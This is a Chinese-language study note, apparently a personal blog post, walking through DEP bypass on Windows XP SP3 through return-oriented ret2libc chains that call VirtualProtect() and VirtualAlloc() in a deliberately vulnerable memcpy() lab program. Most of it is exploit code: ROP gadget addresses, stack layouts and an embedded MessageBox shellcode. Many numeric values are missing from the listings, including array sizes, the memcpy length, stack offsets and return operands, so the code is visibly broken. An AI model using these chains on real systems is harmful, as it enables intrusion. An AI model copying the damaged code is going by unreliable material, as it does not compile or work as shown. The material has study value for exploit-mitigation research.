OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()

一，通过 VirutalProtect() 修改内存属性绕过 DEP

DEP 的四种工作模式中，OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护，这里如果一个程序自身需要从堆栈中取指令，则会发生错误。为了解决这个问题，MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数，可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行，进而绕过 DEP。

BOOL VirtualProtect{
    LPVOID lpAddress,        // 需要修改属性的内存的起始地址
    DWORD  dwSize,           // 大小
    DWORD  flNewProtect,     // 新属性，其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40
    PDWORD lpflOldProtect    // 原始属性的保存地址
};

接下来演示如何动态定位 shellcode，然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null，为便于演示起见，漏洞函数设为 memcpy()，同时关闭 SafeSEH 和 GS 保护。

VirtualProtect() 函数的反汇编代码如下：

 7C801AD4 > 8BFF             MOV EDI,EDI                      ; ret2libc.004034F8
 7C801AD6                  PUSH EBP
 7C801AD7   8BEC             MOV EBP,ESP
 7C801AD9   FF75           PUSH DWORD PTR SS:[EBP+]       ; 设置参数 lpflOldProtect
 7C801ADC   FF75           PUSH DWORD PTR SS:[EBP+]       ; 设置参数 flNewProtect : 0x40
 7C801ADF   FF75 0C          PUSH DWORD PTR SS:[EBP+C]        ; 设置参数 dwSize
 7C801AE2   FF75           PUSH DWORD PTR SS:[EBP+]        ; 设置参数 lpAddress
 7C801AE5   6A FF            PUSH -
 7C801AE7   E8 75FFFFFF      CALL kernel32.VirtualProtectEx   ; 转入 VirtualProtectEx()
 7C801AEC   5D               POP EBP
 7C801AED   C2           RETN 

由以上反汇编代码可知，只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数，再转入 0x7C801AD9 就可以关闭 DEP 了。

接下来布置 shellcode。首先修复被破坏的 ebp（为何修复参见前一篇笔记）：push esp, pop ebp, retn 4。

关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置，并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后，esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp，那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn，既可以使 esp 指向 ebp+0xC，又能掌握程序的控制权。

shellcode 如下：

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 ......
 "\xE5\xE0\x72\x7D"    // return address, adjust ebp : push esp, pop ebp, retn
 "\x40\x26\xD8\x7D"    // retn
 "\x90\x90\x90\x90"
 "\x4A\xD4\xB8\x7D"    // push esp call edi

这里采用上一篇笔记中说到的方法，在第 3 行之前将 edi 指向目标 code，然后布置栈帧，在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后，ebp+8 处的指针就指向可操作的地址了（此时 ebp+8 == esp == [esp+4]），接下来要布置 ebp+0x14，使其指向可写的内存。首先让 esp 指向 ebp+0x14 附近，然后再考虑在 ebp+0x14 写入一个可写的地址。这里用上一篇结尾处提到的技巧：

 "\x21\xAf\xCB\x7D"    // return address : pop edi retn
 "\x40\x12\x5A\x78"    // pop ecx,pop ebx,pop eax,retn
 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn
 "\x40\x26\xD8\x7D"    // retn
 "\x90\x90\x90\x90"
 "\x0A\xDC\xBA\x7D"    // push esp jmp edi(0x785A1240：pop ecx,pop ebx,pop eax,retn)

如此一来，esp 就指向了 ebp+0x18 的位置，这时只要 push esp，ebp+0x14 就指向 ebp+0x18 了，ebp+0x18 是可写的！push esp 之后，VirtualProtect() 的参数就布置好了，可以修改内存可执行属性了！再次利用已经用过的 jmp eax，使 eip 指向 shellcode 就可以了（将前文的 pop edi 和 jmp edi 中的 edi 用 eax 指令替代了，原因是 rop tramp 需要位于可执行区域，而可执行代码区 eax 的指令较 edi 多，方便寻找）：

 // ret2libc.cpp : Defines the entry point for the console application.
 //
 // env
 //   * windows xp sp3 with /noexecute=optout
 //   * vs2008 with Optimization/GS/SafeSEH disabled
 //     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line

 #include "stdafx.h"
 #include <stdlib.h>
 #include <string.h>
 #include <stdio.h>
 #include <windows.h>

 char shellcode[]=
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x94\xB0\x6C\x7D"    // pop eax retn
 "\x69\x36\x5C\x7D"    // pop edi,pop ebx,pop esi,retn
 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
 "\x6C\x36\x5C\x7D"    // retn
 "\x90\x90\x90\x90"
 "\xC6\xC6\xEB\x77"    // push esp jmp eax
 "\xFF\x00\x00\x00"    // size of memory-to-chmod
 "\x40\x00\x00\x00"    // attributes of memory-to-chmod
 "\xC6\xC6\xEB\x77"    // push esp jmp eax
 "\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\xD9\x1A\x80\x7C"    // chmod memory : VirtualProtect() ends with pop ebp, retn 10
 "\x90\x90\x90\x90"
 "\xEB\x30\x5A\x7D"    // jmp esp
 "\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
 "\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
 "\xFF\x57\xF8"     // 163 bytes pop window shellcode (MessageBoxA)
 ;
 void test()
 {
     char str[];
     memcpy(str,shellcode,);
 }
 int main()
 {
     char tmp[];            // 保证栈帧足够长
     HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));  // for more tramp opcode
     //VirtualProtect(0,0,0,0);
     test();
     return ;
 }

Hint :

一，在 /NoExec=OptOut 的情况下，需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中

二，突破 DEP 之前的踏板指令，需要在可执行区域，这一点害我走了弯路。可以用 OllyFindAddr 插件，如果使用后的 Log 太长不方便看，可以先 Log to File

三，这里用到的就是传说中的 ROP（Return-Oriented-Programming），利用思路值得掌握！

四，相关函数需要查看 MSDN

二，通过 VirutalAlloc() 分配新内存绕过 DEP

VirtualAlloc() 原型如下（参考 MSDN 很有帮助！）：

 LPVOID WINAPI VirtualAlloc(
         __in_opt  LPVOID  lpAddress,         // 申请内存的地址，若为 NULL，则系统会决定位置，并按 64kb 向上取整
         __in      SIZE_T  dwSize,            // 大小
         __in      DWORD   flAllocationType,  // 类型（推荐 0x1000）
         __in      DWORD   flProtect          // 保护类型，0x40 为可读写、可执行
 );

VirtualAlloc() 和 VirtualProtect() 的实现如出一辙：布置好参数后调用 VirtualAllocEx() 实现功能。其反汇编代码如下：

 7C809AE3                  PUSH EBP
 7C809AE4   8BEC             MOV EBP,ESP
 7C809AE6   FF75           PUSH DWORD PTR SS:[EBP+]      // flProtect
 7C809AE9   FF75           PUSH DWORD PTR SS:[EBP+]      // flAllocationType
 7C809AEC   FF75 0C          PUSH DWORD PTR SS:[EBP+C]       // dwSize
 7C809AEF   FF75           PUSH DWORD PTR SS:[EBP+]       // lpAddress
 7C809AF2   6A FF            PUSH -1                         // 当前进程
 7C809AF4   E8       CALL kernel32.VirtualAllocEx    // VirtualAllocEx() 会平衡第 3-7 行压入的参数，同理第 10 行平衡转入第 1 行前的参数
 7C809AF9   5D               POP EBP
 7C809AFA   C2           RETN 

实验思路为：

* 构造可溢出的函数

* 溢出后利用 ROP 转入 VirtualAllocEx() 得到可读写、执行的内存

* 将 shellcode 复制到得到的内存中

* 转入 shellcode 执行

自己写出的实验代码如下：

 // ret2libc.cpp : Defines the entry point for the console application.
 //
 // env
 //   * windows xp sp3 with /noexecute=optout
 //   * vs2008 with Optimization/GS/SafeSEH disabled
 //     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line

 #include "stdafx.h"
 #include <stdlib.h>
 #include <string.h>
 #include <stdio.h>
 #include <windows.h>

 char shellcode[]=
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
 "\xF4\x9A\x80\x7C"    // VirtualAllocEx()
 "\x90\x90\x90\x90"
 "\xFF\xFF\xFF\xFF"    // arg: current process
 "\x00\x40\x03\x00"    // arg:
 "\xFF\x01\x00\x00"    // arg: size
 "\x00\x10\x00\x00"    // arg: type
 "\x40\x00\x00\x00"    // arg: attrib
 "\x90\x90\x90\x90"    // VirtualAlloc() returns with pop ebp, retn 0x10
 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x2B\x72\x5F\x7D"    // pop ecx, retn
 "\x90\x90\x90\x90"    // slide
 "\xFF\x00\x00\x00"    // pop arg to ecx
 "\x68\xEA\x76\x7D"    // pop edi retn
 "\x00\x40\x03\x00"    // pop arg to edi
                       // push esp, pop esi, retn 这里为了方便从 shellcode 之前的内存就开始复制，即 esp 指向的地址开始复制
 "\x94\xB0\x6C\x7D"    // pop eax retn
 "\xEF\x6A\x71\x7D"    // rop: pop esi retn
 "\xC6\xC6\xEB\x77"    // push esp jmp eax
 "\x89\x17\xD3\x77"    // REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
                       // POP EDI
                       // POP ESI
                       // POP EBP
                       // RETN 4
 "\x90\x90\x90\x90"    // slide: pop edi
 "\x90\x90\x90\x90"    // slide: pop esi
 "\x90\x90\x90\x90"    // slide: pop ebp
 "\x94\xB0\x6C\x7D"    // pop eax retn
 "\x90\x90\x90\x90"    // slide
 "\x20\x40\x03\x00"    // pop shellcode to eax
 "\xC7\xC6\xEB\x77"    // jmp eax (shellcode)
 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
 "\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
 "\xFF\x57\xF8"     // 163 bytes pop window shellcode (MessageBoxA)
 ;
 void test()
 {
     char str[];
     memcpy(str,shellcode,);
 }
 int main()
 {
     char tmp[];            // 保证栈帧足够长
     HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));
     //VirtualProtect(0,0,0,0);
     //VirtualAlloc((LPVOID)0x00300000,255,0x00001000,0x00000040);
     test();
     return ;
 }

这次实验是自己写出来的，几点与原书中的示例不同：

* 原书直接转入 memcpy() 函数内部完成复制 shellcode 的功能

* 原书复制完 shellcode 后直接转入目标内存起点执行，因为复制的起始位置在 shellcode 关键代码之前（esp），所以目标内存起点存在脏代码

* 原书利用 memcpy() 函数中的 pop 操作，巧妙地布置填充数据，消除目标内存起点的脏代码影响

我自己的思路是布置好 ecx、edi、esi 后直接找到 rep movs 的指令并当作跳板完成 shellcode 的复制，但代码长度还可优化：如 VirtualAlloc() 后 eax 指向了目标内存地址，可以先 mov edi,eax retn。

另外，熟悉 API 很重要，MSDN 很有价值！